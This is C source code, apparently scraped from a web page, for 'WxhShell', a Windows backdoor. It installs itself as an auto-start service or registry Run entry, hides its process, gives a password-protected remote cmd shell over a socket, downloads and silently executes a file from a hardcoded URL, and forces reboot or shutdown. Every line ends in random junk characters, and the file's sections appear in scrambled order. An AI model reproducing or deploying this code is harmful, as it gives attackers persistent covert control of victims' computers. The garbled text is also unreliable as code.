    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); COL8YY  
    if(Boot(SHUTDOWN)) [^=8k2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `IRT w"  
    else { 6)<oO(  
    closesocket(wsh); ^yZSCrPGI  
    ExitThread(0); b`Ek;nYek  
    } 9/KQAc*  
    break; B;7s]R  
    } <0qY8  
  // 获取shell ]G&\L~P  
  case 's': { K:50?r_-6  
    CmdShell(wsh); %t|2GIu  
    closesocket(wsh); zw9ULQ$#  
    ExitThread(0); 1;[ <||K  
    break; '0M0F'R  
  } juYt =  
  // 退出 61wG:  
  case 'x': { 128 rly  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `l0icfy  
    CloseIt(wsh); GeT CN  
    break; +hhbp'%  
    } I%*Z j,>  
  // 离开 I}0 -  
  case 'q': { I,?LZ_pK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5P2FNUKL  
    closesocket(wsh); 4qR Q,g{$T  
    WSACleanup(); ]b=A/*z  
    exit(1); 54_m{&hb  
    break; *YOnX7*Km  
        } 8-6{MJ?F  
  } vKLG9ovlY  
  } d }CMX$1  
GuDD7~qxY  
  // 提示信息 }33Au-%*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .%h_W\M<l  
} n ,%^R  
  } ",GC\#^v  
0vNM#@  
  return; 93 b5S>&r  
} 8k% :w0H  
m,_oX1h  
// shell模块句柄 1fp&"K:yR  
int CmdShell(SOCKET sock) a' fb0fz  
{ SygsZv&LZ  
STARTUPINFO si; n{* [Y  
ZeroMemory(&si,sizeof(si)); g@i 4H[k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1:V/['|*g)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LYKm2C*d  
PROCESS_INFORMATION ProcessInfo; 5S?Xl|8E  
char cmdline[]="cmd"; Ek\Zi#f<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w5R9\<3L  
  return 0; Ase1R=0  
} yE/I)GOQjs  
%['F[Mo  
// 自身启动模式 Nq1RAM  
int StartFromService(void) 8u23@?  
{ x6P^IkL:  
typedef struct 2!`Z3>Oa  
{ A[Xw|9  
  DWORD ExitStatus; $S=OmdgR  
  DWORD PebBaseAddress; cv&hT.1  
  DWORD AffinityMask; "K]4j]yU  
  DWORD BasePriority; @}}1xP4Sr  
  ULONG UniqueProcessId; ^U1 +D^AJ  
  ULONG InheritedFromUniqueProcessId; yrb%g~ELGn  
}   PROCESS_BASIC_INFORMATION; I*t}gvUt9  
_J`M>W)8  
PROCNTQSIP NtQueryInformationProcess; '7%9Sqx  
?q7Gs)B=^'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -O6o^Dk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8;bOw  
4K,&Q/Vdd7  
  HANDLE             hProcess; o W [-?  
  PROCESS_BASIC_INFORMATION pbi; RR9s%>^  
oOvbel`;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \8H"lcj:  
  if(NULL == hInst ) return 0; Cq'r 'cBZ  
lTNkmQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9EQ,|zf'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |MGw$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aUQq<H'R  
WocFID:b  
  if (!NtQueryInformationProcess) return 0; WfI~l)  
$xwF;:)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F U%b"gP^  
  if(!hProcess) return 0; 6 >2! kM7  
D=+sD"<|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7X"cu6%\  
d DTt_B  
  CloseHandle(hProcess); e<pojb1Q  
7hQl,v< 5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L.(k8eX  
if(hProcess==NULL) return 0; Z$gY}Bz  
\^D`Hvg  
HMODULE hMod; AUd}) UR  
char procName[255]; =^{+h>#s@  
unsigned long cbNeeded; {M5IJt"{4b  
-. G0k*[d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (["u"m%  
uhLW/?q.  
  CloseHandle(hProcess); g [K8G  
9w|q':<  
if(strstr(procName,"services")) return 1; // 以服务启动 3H2'HO  
NiF*h~ q  
  return 0; // 注册表启动 n ~)%ou  
} (TsgVq]L  
C.Yz<?;S  
// 主模块 0 $r{h}[^c  
int StartWxhshell(LPSTR lpCmdLine) 5VS<I\o}  
{ R8]bi|e)  
  SOCKET wsl; xC]/i(+bA  
BOOL val=TRUE; aeIR}'H|  
  int port=0; x3 <Lx^;  
  struct sockaddr_in door; G#>nOB  
s4\2lBU?  
  if(wscfg.ws_autoins) Install(); -u(#V#}OV?  
KA7nncg;,  
port=atoi(lpCmdLine); ?xega-l  
:nn'>  
if(port<=0) port=wscfg.ws_port; xMu6PM<l  
-`JY] H  
  WSADATA data; N[%IrN3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ex{]<6UAu  
`K.yE0^i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o>h>#!e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G5Nub9_*X  
  door.sin_family = AF_INET; y+_U6rv[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4ai3@f5  
  door.sin_port = htons(port); W3#L!&z_wK  
5Dd;?T>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z(cgI5Pu  
closesocket(wsl); VEk|lX;2  
return 1; .)Q'j94Q  
} >jIc/yEYKI  
e~1??k.;=  
  if(listen(wsl,2) == INVALID_SOCKET) { }OZfsYPz}T  
closesocket(wsl); d p].FS  
return 1; qp8;=Nfa  
} x :s-\>RcA  
  Wxhshell(wsl); 3zkq'lZ  
  WSACleanup(); d4U_Wu&  
-#@;-2w  
return 0; {Ffr l(*  
bk 2vce&  
} \_oHuw  
YR>xh2< 9  
// 以NT服务方式启动 fQ@["b   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o5d)v)Rx=  
{ 9 (Z)c  
DWORD   status = 0; QGa"HG5NF  
  DWORD   specificError = 0xfffffff; -3C~}~$>`  
I[/u5V_b'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H Zc;.jJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; iD9GAe}x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kE1u-EA  
  serviceStatus.dwWin32ExitCode     = 0; R~o?X ^^O  
  serviceStatus.dwServiceSpecificExitCode = 0; !Wk "a7  
  serviceStatus.dwCheckPoint       = 0; ay2.C BF  
  serviceStatus.dwWaitHint       = 0; pAYuOk9n  
{chl+au*l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p("do1:  
  if (hServiceStatusHandle==0) return; W/+0gh7`,(  
}5|uA/B  
status = GetLastError(); .nnAI@7E  
  if (status!=NO_ERROR) _nF_RpS  
{ Ec|#i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S; >_9  
    serviceStatus.dwCheckPoint       = 0; IcN|e4t^J+  
    serviceStatus.dwWaitHint       = 0; 7_LE2jpC,5  
    serviceStatus.dwWin32ExitCode     = status; Lgy}Gm8u5  
    serviceStatus.dwServiceSpecificExitCode = specificError; }6\p7n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iqpy5  
    return; gs'( px  
  } *l}q,9iQ-  
n#iL[ &/Aw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z`W$/tw"  
  serviceStatus.dwCheckPoint       = 0; ><Z2uJZ4x  
  serviceStatus.dwWaitHint       = 0; 8AK#bna~-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gC?k6)p$N  
} @jfd.? RK!  
/Bc ;)~  
// 处理NT服务事件,比如:启动、停止 h c "n?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !,]_tw>R  
{ |&7l*j(\  
switch(fdwControl) 6<2 7}S  
{ <7qM;) g  
case SERVICE_CONTROL_STOP: $8b/"Qm  
  serviceStatus.dwWin32ExitCode = 0; k;]&`c^5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0 @>3fR  
  serviceStatus.dwCheckPoint   = 0; -Y YQnN  
  serviceStatus.dwWaitHint     = 0; z5?xmffB  
  { U_+>4zdm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XWk^$"  
  } @f5X AK?  
  return; o(}vR<tD\  
case SERVICE_CONTROL_PAUSE: TMbj]Mso  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ) Limt<S  
  break; yzYPT}t  
case SERVICE_CONTROL_CONTINUE: h[Hw9$31  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `5 bHZ  
  break; >-Jutr<I"~  
case SERVICE_CONTROL_INTERROGATE: ibh!8"[  
  break; E[ ,Ur`>:  
}; \D0Pik@?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S%'t )tt,  
} s i C/k*  
9R!.U\sq  
// 标准应用程序主函数 0nC%tCV'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cxVnlgq1  
{ ,+0_kndR  
dx|j,1e  
// 获取操作系统版本 {'JoVJKv  
OsIsNt=GetOsVer(); 0q81H./3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A^G%8 )\  
z.FO6y6L  
  // 从命令行安装 Vg0Rc t  
  if(strpbrk(lpCmdLine,"iI")) Install(); M Su_*&j9T  
R{/nlS5  
  // 下载执行文件 vU::dr  
if(wscfg.ws_downexe) { J 5~bs*a8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XvWUJ6M  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,?728pfw  
} iCx}v[;Ol  
AFyf7^^k  
if(!OsIsNt) { (c_E*>c)  
// 如果时win9x,隐藏进程并且设置为注册表启动 ! fY'^Ya?  
HideProc(); :9 .ik  
StartWxhshell(lpCmdLine); Go8 m  
} :\>@yCD  
else f$R]m2  
  if(StartFromService()) XfharJ_b  
  // 以服务方式启动 aqtQGK57"%  
  StartServiceCtrlDispatcher(DispatchTable); 1O8RGk4  
else ? 3Td>x  
  // 普通方式启动 kLK}N>v}X  
  StartWxhshell(lpCmdLine); VXQ~PF]z0  
W2s6!_AN  
return 0; JS} iNS'X  
} D >$9(  
jCkYzQUPz  
aVEg%8  
3nMXfh/  
=========================================== w!7Hl9BW  
ZJ1 %  
ry0P\wY}  
R]H/Jv\'  
}9=VhC%J  
z^bv)u  
" *Mk5*_  
NvY%sx,  
#include <stdio.h> mGb,oj7l  
#include <string.h> (V 5_q,2  
#include <windows.h> D}OvD |<-  
#include <winsock2.h> 63 F@F t  
#include <winsvc.h> rxJmK$qd  
#include <urlmon.h> l!5fuB8  
I'm.+(1m,  
#pragma comment (lib, "Ws2_32.lib") WZ> }  
#pragma comment (lib, "urlmon.lib") Dm2&}{&K  
1$H*E~  
#define MAX_USER   100 // 最大客户端连接数 Z$"E|nRN  
#define BUF_SOCK   200 // sock buffer qX>mOW^gT8  
#define KEY_BUFF   255 // 输入 buffer !/2u O5  
d?)k<!fJk  
#define REBOOT     0   // 重启 _XvSe]`f`  
#define SHUTDOWN   1   // 关机 <'f+ nC=2  
UU~S{!*+L  
#define DEF_PORT   5000 // 监听端口 ^z>3+oi  
DAa??/,x7  
#define REG_LEN     16   // 注册表键长度  *Yj!f68  
#define SVC_LEN     80   // NT服务名长度 JlR (U. "  
,6J]oX  
// 从dll定义API 'W(!N%u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8cI<~|4_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sF[7pE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <A"[Wk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Xy0*1$IS]  
SHWD@WLE4  
// wxhshell配置信息 g$+ $@~  
struct WSCFG { j6}/pe*;;T  
  int ws_port;         // 监听端口 O!xul$9  
  char ws_passstr[REG_LEN]; // 口令 N;gI %6  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?> )(;Ir9  
  char ws_regname[REG_LEN]; // 注册表键名 u)J&3Ah%  
  char ws_svcname[REG_LEN]; // 服务名 GI']&{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v"-@'qN'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d|I?%LX0p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I54`}Npp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no iW oe  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |T3F:],`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m%7T ~  
{-a8^IK,  
}; ;XAj/6pm  
20h+^R3{Z  
// default Wxhshell configuration =r=?N\7I  
struct WSCFG wscfg={DEF_PORT, NFsj ~6F#  
    "xuhuanlingzhe", !Z(3dtUy  
    1, rs`"Kz`(  
    "Wxhshell", O7,)#{  
    "Wxhshell", &-.NkW@  
            "WxhShell Service", HX}9;O  
    "Wrsky Windows CmdShell Service", \?EnTu.  
    "Please Input Your Password: ", qGivRDR$  
  1, 3;v%78[&P  
  "http://www.wrsky.com/wxhshell.exe", 'z\$.L  
  "Wxhshell.exe" AXN%b2  
    }; m6+4}=Cn  
B\*"rSP\  
// 消息定义模块 s&.VU|=VQ@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a\_?zi]s&,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *UxN~?N|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E)ne z  
char *msg_ws_ext="\n\rExit."; N./l\NtZ  
char *msg_ws_end="\n\rQuit."; :^bjn3b  
char *msg_ws_boot="\n\rReboot..."; 3IB||oN$T  
char *msg_ws_poff="\n\rShutdown..."; ZF@T,i9  
char *msg_ws_down="\n\rSave to "; dkUh[yo"H  
W[BwHNxyg  
char *msg_ws_err="\n\rErr!"; \A#YL1hh  
char *msg_ws_ok="\n\rOK!"; Ah#bj8}  
hsCts@R  
char ExeFile[MAX_PATH]; nI0TvB D  
int nUser = 0; Wks?9 )Is  
HANDLE handles[MAX_USER]; LKX; ^  
int OsIsNt; 5-[bdI  
nNj<!}HvV  
SERVICE_STATUS       serviceStatus; *gGL5<%T:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VelR8tjP  
ais@|s;  
// 函数声明 crvq]J5  
int Install(void); "1I\~]]  
int Uninstall(void); @ vHj>N  
int DownloadFile(char *sURL, SOCKET wsh); ,2>nr goM  
int Boot(int flag); 1[4 2f#  
void HideProc(void); p#A{.6Pa:  
int GetOsVer(void); OUM^ u*  
int Wxhshell(SOCKET wsl); MqKf'6z  
void TalkWithClient(void *cs); D2N<a=#  
int CmdShell(SOCKET sock); 6O@/Y;5i  
int StartFromService(void); u*w'.5l  
int StartWxhshell(LPSTR lpCmdLine); 4s_|6{ANS  
Rlyx& C8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Tup2;\y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2WF7^$^:  
P[L] S7FTr  
// 数据结构和表定义 zqJ0pDS  
SERVICE_TABLE_ENTRY DispatchTable[] = +5<]s+4T  
{  X<p'&  
{wscfg.ws_svcname, NTServiceMain}, x9Oo.[  
{NULL, NULL} hAi`2GP.  
}; f?Am)  
-5X*y4#  
// 自我安装 a]]>(Txc  
int Install(void) myq:~^L ;  
{ =CqZ$  
  char svExeFile[MAX_PATH]; e09('SON(  
  HKEY key; .).}ffhOL  
  strcpy(svExeFile,ExeFile); ,'}qLor  
[Z -S0  
// 如果是win9x系统,修改注册表设为自启动 a@?2T,$  
if(!OsIsNt) { +-$Hx5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q{RH/. l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $C.;GUEQ  
  RegCloseKey(key); 6R=dg2tKT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g#}a?kTM@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z Go*N,'  
  RegCloseKey(key); I7C*P~32{n  
  return 0; IN!,|)8s  
    } %pd-{KR  
  } hW Va4  
} t^')ST  
else { !Zi_4 .(4  
Z]^Ooy[pb  
// 如果是NT以上系统,安装为系统服务 <$+Cd=71\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,GVD.whUl  
if (schSCManager!=0) ZvVrbj&  
{ JlMD_pA  
  SC_HANDLE schService = CreateService -F338J+J24  
  ( OL0W'C9oA  
  schSCManager, ibj3i7G?  
  wscfg.ws_svcname, ]- +%]'  
  wscfg.ws_svcdisp, #)7THx/=  
  SERVICE_ALL_ACCESS, "I}]]?y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +=o?&  
  SERVICE_AUTO_START, &)Z!A*w]  
  SERVICE_ERROR_NORMAL, K3I|d;Y~X!  
  svExeFile, A8jj]J+  
  NULL, }<7S% ?TY  
  NULL, GYJ lX  
  NULL, + r<d z  
  NULL, I}hY @  
  NULL V;-$k@$b.  
  ); 9\J6G8b>|I  
  if (schService!=0) @o/126(k  
  { *= ;M',nx  
  CloseServiceHandle(schService); _X/`7!f  
  CloseServiceHandle(schSCManager); <n|ayxA)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :GBM`f@  
  strcat(svExeFile,wscfg.ws_svcname); m]"13E0*x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }j\_XaB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y} W-OLE  
  RegCloseKey(key); jwQ(E  
  return 0; sc)}r_|g  
    } GB&^<@  
  } GUH-$rA  
  CloseServiceHandle(schSCManager); +[_mSt  
} PgMU|O7To  
} &CcUr#|  
s%OPoRE  
return 1; D.;iz>_}Y  
} RASPOc/]   
1RM@~I$0  
// 自我卸载 Smc=-M}  
int Uninstall(void) c7R<5f  
{ zu52]$Vj  
  HKEY key; H5J1j*P<d  
YQ _]Jv k  
if(!OsIsNt) { -+)06BqF}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  |Ym3.hz  
  RegDeleteValue(key,wscfg.ws_regname); umJ!j&(  
  RegCloseKey(key); 41oXOB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ymo].  
  RegDeleteValue(key,wscfg.ws_regname); )Bo]+\2  
  RegCloseKey(key); :41Ch^\E  
  return 0; +`]AutNv  
  } /Y_)dz^@  
} /UP1*L  
} 2}<_l 2  
else { QoBM2Q YO  
!=SBeq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *+rWn*L  
if (schSCManager!=0) DV5K)m&G  
{ D.:6X'hp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aEvW<jHh  
  if (schService!=0) kh5VuXpe  
  { )/mBq#ZS  
  if(DeleteService(schService)!=0) { CA[3 R  
  CloseServiceHandle(schService); A.wuB  
  CloseServiceHandle(schSCManager); y c:y}"  
  return 0; o >Faq+@  
  } s"-gnW  
  CloseServiceHandle(schService); mLb>*xt$b@  
  } MIx,#]C&  
  CloseServiceHandle(schSCManager); ziXZJ^(FI  
} Y)*:'&~2e  
} X Z4q{^o  
7^<{aE:  
return 1; &cuDGo.  
} 3-6Lbe9H  
XFmTr@\M  
// 从指定url下载文件 40$- ]i  
int DownloadFile(char *sURL, SOCKET wsh) vp2s)W8W  
{ ~|kSQ7O^  
  HRESULT hr; gT0N\oU"  
char seps[]= "/"; QFX/x  
char *token; (Rs052m1  
char *file; ;'i>^zX`  
char myURL[MAX_PATH]; <yg! D21Y  
char myFILE[MAX_PATH]; J)n^b  
n~Qo@%Jr  
strcpy(myURL,sURL); sn-P&"q  
  token=strtok(myURL,seps); }P*x /z~  
  while(token!=NULL) kC8M2|L  
  { tcD DX'S  
    file=token; rjWn>M  
  token=strtok(NULL,seps); dh0nB  
  } ,C;%AS/  
SDHJX8Hq  
GetCurrentDirectory(MAX_PATH,myFILE); u?%FD~l:uU  
strcat(myFILE, "\\"); /+JHnedK  
strcat(myFILE, file); a,`f`;\7N%  
  send(wsh,myFILE,strlen(myFILE),0); -.t/c}a#  
send(wsh,"...",3,0); ]X\p\n'@j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'MK"*W8QRM  
  if(hr==S_OK) ?&_u$Nn  
return 0; sp8P[W1a  
else eFXQ~~gOj  
return 1; S!6 ? b5  
9?38/2kX4  
} ^+k~{F,)  
e754g(|>b  
// 系统电源模块 O]VHX![Y$  
int Boot(int flag) pz0Q@n/X  
{ UB2Ft=  
  HANDLE hToken; H_vGa!_  
  TOKEN_PRIVILEGES tkp; /Dj-@7.C/  
/L^pU-}Z0  
  if(OsIsNt) { <1eD*sC?g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _2~+%{/m,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5lrjM^E|  
    tkp.PrivilegeCount = 1; H63?Erh>a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5[0W+W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,?oC+9w  
if(flag==REBOOT) { ./i5VBP5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `NB6Of*/  
  return 0; w0&|8y  
} Y{D?&x%yq  
else { =x3T+)qCNX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %}[/lIxaE  
  return 0; # ~(lY}  
} $i;m9_16  
  } TW~%1G_v  
  else { /H~]5JZ3-E  
if(flag==REBOOT) { }F4%5go  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2e^6Od!Y?  
  return 0; 0@>  
} JsK_q9]$e  
else { Ev ]oPCeA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,"U|gJn|^  
  return 0; k<A|+![  
} moCr4*jDX,  
} 6(8zt"E  
n= A}X4^  
return 1; ["0DXm%t  
} iT=h }>  
bR*} s/  
// win9x进程隐藏模块 RXw }Tb/D8  
void HideProc(void) &|I{ju_  
{ `dJ?j[P,p  
S5/p3;O\c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qlm7eS"sy  
  if ( hKernel != NULL ) q_86nvB<  
  { oCSJ<+[(C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &6&$vF65c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l&{+3aC:  
    FreeLibrary(hKernel); OICH:(t_  
  } MmH(dp+  
Y$0K}`{  
return; [oG Sy5bB  
} d$B+xW  
%0q)PT\  
// 获取操作系统版本 }m93AL_y  
int GetOsVer(void) w~ O)DhC  
{ AsO)BeUD  
  OSVERSIONINFO winfo; 7bL48W<QD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q`!<2i;  
  GetVersionEx(&winfo); zb. ^p X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \2[sUY<W  
  return 1; Vo(>K34  
  else (nAg ~i  
  return 0; >A>_UT_"  
} DbrK, 'b%  
I/_,24[  
// 客户端句柄模块 0,1)Sg*  
int Wxhshell(SOCKET wsl) ;nw}x4Y[  
{ chXTFLC~  
  SOCKET wsh; UHS{X~CS e  
  struct sockaddr_in client; %`0*KMO3  
  DWORD myID; $g  '4'  
$D;-;5[-/r  
  while(nUser<MAX_USER) :wz]d ~)  
{ cF}9ldc  
  int nSize=sizeof(client); HY,VJxR[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sWFw[ Y>  
  if(wsh==INVALID_SOCKET) return 1; :u|F>e  
q8H9au&/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hx hs>eY  
if(handles[nUser]==0) >o5eyi  
  closesocket(wsh); ;\ gat)0n%  
else Y@MFH>*  
  nUser++; AH|'{  
  } !m?W+ z~J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cv9-ZOxJ  
Xp~O?2:3l  
  return 0; +^3 *Y"6Z  
} J~lKN <w  
lin  
// 关闭 socket O5dBI_  
void CloseIt(SOCKET wsh) J=B,$4)9  
{ ]~7xq)28  
closesocket(wsh); 9M7Wlx2  
nUser--; ESi-'R&  
ExitThread(0); Y0g6zHk7  
} zv~b-Tp  
xPMX\aI|l  
// 客户端请求句柄 @] 3`S  
void TalkWithClient(void *cs) LX7<+`aa  
{ ZG)6{WS  
~QU\kZ7Z  
  SOCKET wsh=(SOCKET)cs; `! _mIh}  
  char pwd[SVC_LEN]; X;d 1@G  
  char cmd[KEY_BUFF]; vg\fBHzn  
char chr[1]; oB%j3aAH  
int i,j; wj9 Hh  
`g'z6~c7n  
  while (nUser < MAX_USER) { 5Eu`1f?  
 EHda  
if(wscfg.ws_passstr) { seA=7c5E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /OeOL3Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tx]!|x" F  
  //ZeroMemory(pwd,KEY_BUFF); M [6WcH0/T  
      i=0; %kL]-Z  
  while(i<SVC_LEN) { 9` G}GU]@}  
!uN_<!  
  // 设置超时 T^H`$;\  
  fd_set FdRead; *wV`7\@  
  struct timeval TimeOut; L87=*_!B;  
  FD_ZERO(&FdRead); I ka V g L  
  FD_SET(wsh,&FdRead); >:P-3#e*  
  TimeOut.tv_sec=8; CM 8Ub%  
  TimeOut.tv_usec=0; rQ&F Gb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g&O!w!T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +A<7:`sO  
p"Q V| `  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yOE N*^6  
  pwd=chr[0]; ^vc#)tm5p  
  if(chr[0]==0xd || chr[0]==0xa) { 54%h)dLDy  
  pwd=0; /igbn  
  break; A#CGD0T  
  } :.?%e{7  
  i++; *.zC9Y,  
    } y])z,#%ED  
U_Am Riy  
  // 如果是非法用户,关闭 socket R![1\Yv&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MXynv";<H  
} z5 :53,`D'  
xB,(!0{`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ci`N ,&:R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^spASG -o  
CxJH)H$  
while(1) { mH7Mch| m  
NXdT"O=P  
  ZeroMemory(cmd,KEY_BUFF); b0[H{q-z{X  
yA^+<uz}  
      // 自动支持客户端 telnet标准   |=#uzp7*  
  j=0; 2IFEl-IB[  
  while(j<KEY_BUFF) { =R0#WMf$@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %$zX a%A  
  cmd[j]=chr[0]; dwmZ_m.  
  if(chr[0]==0xa || chr[0]==0xd) { #i| AE`  
  cmd[j]=0; z>O=. Ku6  
  break; *!L it:H  
  } (kZ2D  
  j++; R% )7z)~  
    } R2dCp|6A  
-+&sPrQ  
  // 下载文件 Xv?'*2J  
  if(strstr(cmd,"http://")) { |Whkq/Zg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !T1)tGrH  
  if(DownloadFile(cmd,wsh)) !z?;L_Lb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =l1O9/\9  
  else O"f|gc)GLz  
